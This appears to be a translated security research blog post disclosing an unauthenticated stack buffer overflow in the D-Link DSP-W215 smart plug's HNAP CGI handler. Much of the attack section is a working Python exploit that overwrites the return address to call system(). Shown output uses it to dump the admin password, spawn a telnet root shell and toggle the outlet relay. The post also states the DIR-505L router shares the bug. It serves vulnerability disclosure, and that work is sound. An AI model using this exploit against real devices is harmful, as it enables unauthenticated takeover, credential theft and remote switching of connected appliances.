
D-Link DSP-W215 Smart Plug is a wireless device for monitoring and controlling electrical outlets. It cannot be bought at Amazon or Best Buy stores yet, but the firmware is already available for download on the D-Link website.
TL; DR : DSP-W215 contains a buffer overflow error that allows an unauthenticated user to fully control the device, including the outlet itself.
The device firmware is completely standard for embedded systems on Linux:

')
After unpacking the firmware, I discovered that this device does not have a familiar web interface - it can be configured only through a special application for iOS and Android. And it seems that this application uses the
Home Network Administration Protocol for communication with the Smart Plug.
Since HNAP is based on the SOAP protocol, it is processed by the lighttpd server, and from an extract of its configuration file, it is easy to understand that the CGI application /www/my_cgi.cgi is handling the HNAP requests:
... alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi", "/HNAP1" => "/www/my_cgi.cgi", ...
Although HNAP requires authentication, some actions, namely GetDeviceSettings, do not require it.

GetDeviceSettings can only give a list of possible actions and can not do anything by itself, but this means that my_cgi.cgi parsit the request before checking the authentication.
HNAP requests are handled by the do_hnap function in my_cgi.cgi. Since HNAP actions are sent as HTTP POST requests, the do_hnap function first processes the Content-Length header:

And then, as if nothing had happened, it reads the request body into a fixed-size buffer on the stack:

int content_length, i; char *content_length_str; char post_data_buf[500000]; content_length = 0; content_length_str = getenv("CONTENT_LENGTH"); if(content_length_str) { content_length = strtol(content_length_str, 10); } memset(post_data_buf, 0, 500000); for(i=0; i<content_length; i++) { post_data_buf[i] = fgetc(); }
It becomes obvious if you look at memset that the buffer is only for 500000 bytes. A POST request containing more than 500,000 bytes will overflow the buffer, but since there are other variables on the stack, it takes 1000020 bytes to overwrite the return address:
# Overflow $ra with 0x41414141 perl -e 'print "D"x1000020; print "A"x4' > overflow.txt wget --post-file=overflow.txt http:

But the funniest thing is that the request handler reads the body of the POST request to the buffer in a loop using fgetc, so there are no “bad” bytes - we can pass any bytes to it, even NULL bytes. It's great because at address 0x00405CAC, my_cgi.cgi has a code that loads $ a0 (the register of the first argument of the function) with a pointer to the stack ($ sp + 0 × 28) and calls system ():

So we just need to rewrite the return address to 0x00405CAC and put the command we need to execute on the stack at offset 0 Ă— 28:
import sys import urllib2 command = sys.argv[1] buf = "D" * 1000020 # Fill up the stack buffer buf += "\x00\x40\x5C\xAC" # Overwrite the return address on the stack buf += "E" * 0x28 # Stack filler buf += command # Command to execute buf += "\x00" # NULL terminate the command string req = urllib2.Request("http://192.168.0.60/HNAP1/", buf) print urllib2.urlopen(req).read()
Even better than one would expect - the stdout of the command being run returns in response:
eve@eve:~$ ./exploit.py 'ls -l /' drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 bin drwxrwxr-x 3 1000 1000 4096 May 9 16:04 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 Jan 14 14:16 lib drwxr-xr-x 3 1000 1000 4096 Jan 14 14:16 libexec lrwxrwxrwx 1 1000 1000 11 May 9 16:01 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 7 1000 1000 4096 May 9 15:44 mnt drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 9 17:49 root drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 sbin drwxrwxr-x 3 1000 1000 4096 May 15 04:27 tmp drwxrwxr-x 7 1000 1000 4096 Jan 14 14:16 usr drwxrwxr-x 3 1000 1000 4096 May 9 16:04 var -rw-r--r-- 1 1000 1000 17 Jan 14 14:16 version drwxrwxr-x 8 1000 1000 4096 May 9 16:52 www
You can dump the admin configuration and password:
eve@eve:~$ ./exploit.py 'nvram show' | grep admin admin_user_pwd=200416 admin_user_tbl=0/admin_user_name/admin_user_pwd/admin_level admin_level=1 admin_user_name=admin storage_user_00=0/admin//
Or run telnetd and get a full shell.
eve@eve:~$ ./exploit.py 'busybox telnetd -l /bin/sh' eve@eve:~$ telnet 192.168.0.60 Trying 192.168.0.60... Connected to 192.168.0.60. Escape character is '^]'. BusyBox v1.01 (2014.01.14-12:12+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands. /
After digging a little deeper into my_cgi.cgi, I discovered that all that is required to turn off or turn on the outlet is to run / var / sbin / relay:
/var/sbin/relay 1 # Turns outlet on /var/sbin/relay 0 # Turns outlet off
You can write a small script to blink light:
#!/bin/sh OOK=1 while [ 1 ] do /var/bin/relay $OOK if [ $OOK -eq 1 ] then OOK=0 else OOK=1 fi done
Socket management can have more serious consequences, as stated in the D-Link ad:
Deceptive advertising from D-LinkAlthough the Smart Plug itself may be able to detect overheating, I suspect that it only determines overheating itself, since There is no way to determine the temperature of a device connected to an outlet. Therefore, if you leave the heater connected to the smart plug, and some vile person will secretly turn it on, you will have a fucking day.
It is not clear whether the Smart Plug is trying to make itself accessible from the outside (for example, by forwarding a port through UPnP), or not, because Android application simply does not work. I could not even establish an initial connection to the Smart Plug via Android, although it did work through a laptop. However, in the end, I got a very detailed error when creating an account for remote access to MyDlink: “Unable to create an account”. Although at the end of the setup it was said that the Smart Plug was configured to connect to my wireless network, it did not connect to any network, and the access point that was used for the initial configuration was gone. Since Wi-Fi is broken, and ethernet is missing, I completely lost contact with the device. Oh yeah, there is no hard reset button on the device either. Well, okay, anyway, I was going to throw her out.
I suspect that everyone who bought this device could not get it to work, which is probably good in itself. In any case, I would be afraid to connect such a device to my network or my home appliances.
By the way, the
D-Link DIR-505L router is also subject to this bug, since has almost exact copy of my_cgi.cgi.
PoC for both devices is
here .